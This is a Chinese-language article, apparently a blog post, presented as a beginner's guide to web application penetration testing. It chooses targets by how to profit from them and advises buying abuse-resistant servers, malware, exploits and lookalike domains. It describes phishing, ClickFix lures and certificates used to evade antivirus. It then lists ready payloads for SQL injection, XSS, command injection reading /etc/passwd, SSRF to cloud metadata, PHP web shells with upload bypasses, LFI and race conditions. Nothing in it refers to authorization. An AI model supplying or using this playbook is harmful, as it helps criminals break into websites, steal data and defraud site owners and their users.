Web应用程序漏洞测试

各位读者,大家好!本文将简要概述Web应用程序渗透测试的基础知识。对于刚计划进入该领域的人来说,这篇文章将特别有用。稍后还将发布更深入的文章。
从哪里开始?
入门阶段需要一台已安装Kali Linux或其他Linux系统的受保护设备。建议使用远程服务器——这将提高操作安全(OpSec)水平。如果大家感兴趣,我可以单独讲解如何正确选择安全的设备和操作系统。
选择目标。
对于不知从何入手的朋友,我建议先明确希望从网站获得何种收益。 网站的变现通常通过以下途径实现:
- 广告
- 应用安装
- 数据库中的潜在客户
- 流量
选定最感兴趣的领域后,我们快速分析目标网站是否存在共同点,例如框架、图标、标题或相同的HTML代码。我们对此做个标记,然后继续下一步。
侦察
我将探讨针对单一具体目标的工作方法 (大规模测试需要其他工具)。
我们进入目标网站。首先,我们检查它有哪些子域名。在Kali中,有一个名为subfinder的工具专门用于此任务(所有这些应用程序在其他Linux发行版中也都能轻松下载)。
subfinder -d target.com -o subdomains.txt
我们发现了一些子域名。现在我们需要准确确定这些子域名上托管了什么内容;为此,有一个名为Wappalyzer的浏览器插件。我们得到了以下结果:

我们开始使用 ffuf 进行 暴力破解(穷举测试),以发现有价值的终端节点;为此,我们将使用来自该优秀代码库的暴力破解攻击词表。
ffuf -u https://www.target.com/FUZZ -w api-endpoints.txt -mc 200,301,302,401,403
一定要试试Google dork——有时,正是由于重要文件的访问权限设置不当,这种简单的方法能帮你发现许多有趣的信息。
site:target.com filetype:pdf
site:target.com inurl:admin
site:target.com ext:sql OR ext:env
收集有关DNS的基本信息;有时这能让我们确定服务器在未启用WAF(防范DDoS攻击、机器人、漏洞等)时的实际IP地址,就像CloudFlare那样。
d=example.com; for t in A AAAA CNAME MX NS TXT SOA CAA; do o=$(dig +short "$d" "$t"); [ -n "$o" ] && printf '\n[%s]\n%s\n' "$t" "$o"; done
本节的关键在于尽可能多地收集关于潜在目标的信息。收集的信息越多、质量越高,后续步骤就越容易实施。
资源筹备
这是准备阶段,我们将在此阶段选择并准备工具,同时制定策略。每个人都可以选择自己最习惯使用的工具。
购买必要的资源,例如:
- 域名 (与目标域名相似)
- 服务器(具备抗滥用能力)
- 恶意软件(病毒或后门)
- 漏洞利用程序
- 账户(社交媒体、电子邮件、云服务)
- 广告
选择攻击方法,例如:
网络钓鱼——创建一个模仿受害者管理后台或项目控制面板登录页面的网站,注册一个相似的域名(例如将“i”替换为“l”,将“o”替换为“0” 等),并通过电子邮件、电话、广告、信件或社交媒体发送链接。
病毒——使用自有的或租用的、与受害者操作系统兼容的软件。软件类型应根据任务需求选择(HVNC、RAT、stealer、loader)。购买针对受害者操作系统的证书以绕过杀毒软件。发送包含clickfix(内含有效载荷的CAPTCHA)的电子邮件。
漏洞——寻找与文件访问权限配置错误相关的漏洞,以及代码中的缺陷,例如SQLi(从数据库中提取数据)、Web缓存欺骗、XXE注入(利用XML漏洞)等。这是我今天文章的主要主题,我将在下文中进行更详细的讨论。
初始访问
这是每位网络安全猎手的终极目标。那是你终于获得久寻未果之物的时刻。 那么,让我们来看看几个常见的漏洞。
Burp Suite——修改请求和响应的最便捷工具
我们先从众所周知的SQL注入说起。要理解它,最好对SQL语言有所了解;简而言之,只需知道SELECT语句会让许多数据库向您——普通用户——披露本应保密的数据。此类查询通常以单引号'开头,并以双引号--结尾
易受攻击的链接示例
https://target.com/products?category=Gifts'+OR+1=1--最受欢迎的SQL数据库——MySQL、PostgreSQL、Oracle、Microsoft。
IDOR——由于应用程序未验证当前用户是否具有查看该页面的权限,导致攻击者可通过枚举方式访问他人数据。示例:
GET /api/user/123/profile
GET /api/user/124/profile
curl -x POST /api/user/124/profile
curl -x PUT /api/user/124/profile
curl -x DELETE /api/user/124/profile您可以尝试按以下方式修改查询:
POST /api/user/124/update
{"role": "admin", "is_admin": true}XSS——指界面存在应对意外操作的漏洞。若发现此类漏洞,且界面配置不当,便可能窃取会话。通常,此类漏洞会在所有输入字段甚至文件上传过程中进行检测。示例:
<script>alert(1)</script>
<img src=x onerror=alert(1)>
<svg onload=alert(1)>
<iframe src=javascript:alert(1)>
<ScRiPt>alert(1)</sCrIpT>
<body onload=alert(1)>
<svg/onload=alert(1)>命令注入——指后端在自身操作系统中执行命令。示例:
; ls
| cat /etc/passwd
&& whoami
`id`
$(whoami)
# 盲人
; sleep 10
| ping -c 10 127.0.0.1SSRF——OWASP 2025版排名第一的漏洞。当Web应用程序跳转到本不应访问的页面时,就会引发此漏洞。这会导致内部服务暴露,允许绕过防火墙,并在某些情况下导致权限提升,最终达到远程代码执行(RCE)的级别。该漏洞通常由以下原因引发:请求发送缺乏限制、CORS配置错误以及输入数据验证不足。示例:
http://127.0.0.1
http://localhost
http://169.254.169.254/latest/meta-data/
http://metadata.google.internal/
# 绕行技巧
http://127.1
http://[::1]
http://127.0.0.1.nip.ioJWT 令牌验证——此类令牌通常用于用户身份验证。JWT 令牌由服务器的私钥进行签名,若该私钥遭到泄露,攻击者便可能篡改后端用于验证您身份的信息。
jwt_tool <TOKEN> -X k -pk public.pem文件下载漏洞——有时系统服务器端会执行您上传的文件。借助 Metasploit,可以轻松为目标创建漏洞利用程序。
# PHP 终端
<?php system($_GET['cmd']); ?>
# 通过扩展程序绕过限制
GIF89a<?php system($_GET['cmd']); ?>
shell.php.jpg
shell.php%00.jpg
shell.PhPLFI/RFI——第一个漏洞允许访问服务器上的本地文件,例如配置数据或其他敏感文件。第二个漏洞则涉及从远程服务器加载并执行文件的可能性。示例:
../../../../etc/passwd
../../../../var/log/apache2/access.log竞拍——如果后端无法处理大量并发请求,它可能会处理多笔购买,即使账户余额仅够支付一笔。例如:
import concurrent.futures, requests
def req():
return requests.post('https://target.com/redeem',
data={'code': 'GIFT100'})
with concurrent.futures.ThreadPoolExecutor(max_workers=20) as ex:
[ex.submit(req) for _ in range(20)]这些方法中总有一种会对你奏效;关键在于正确运用,不急不躁,保持冷静。你一定能成功——只需迈出第一步。感谢你读到最后;希望这篇文章对你有所帮助,且不会太枯燥。
要想在系统中站稳脚跟并取得成果,还需要完成许多步骤,但我已尽力将基础知识解释得尽可能通俗易懂,没有过多深入技术细节。如果您感兴趣,我可以再写一些文章;写作题材很多,动力也足。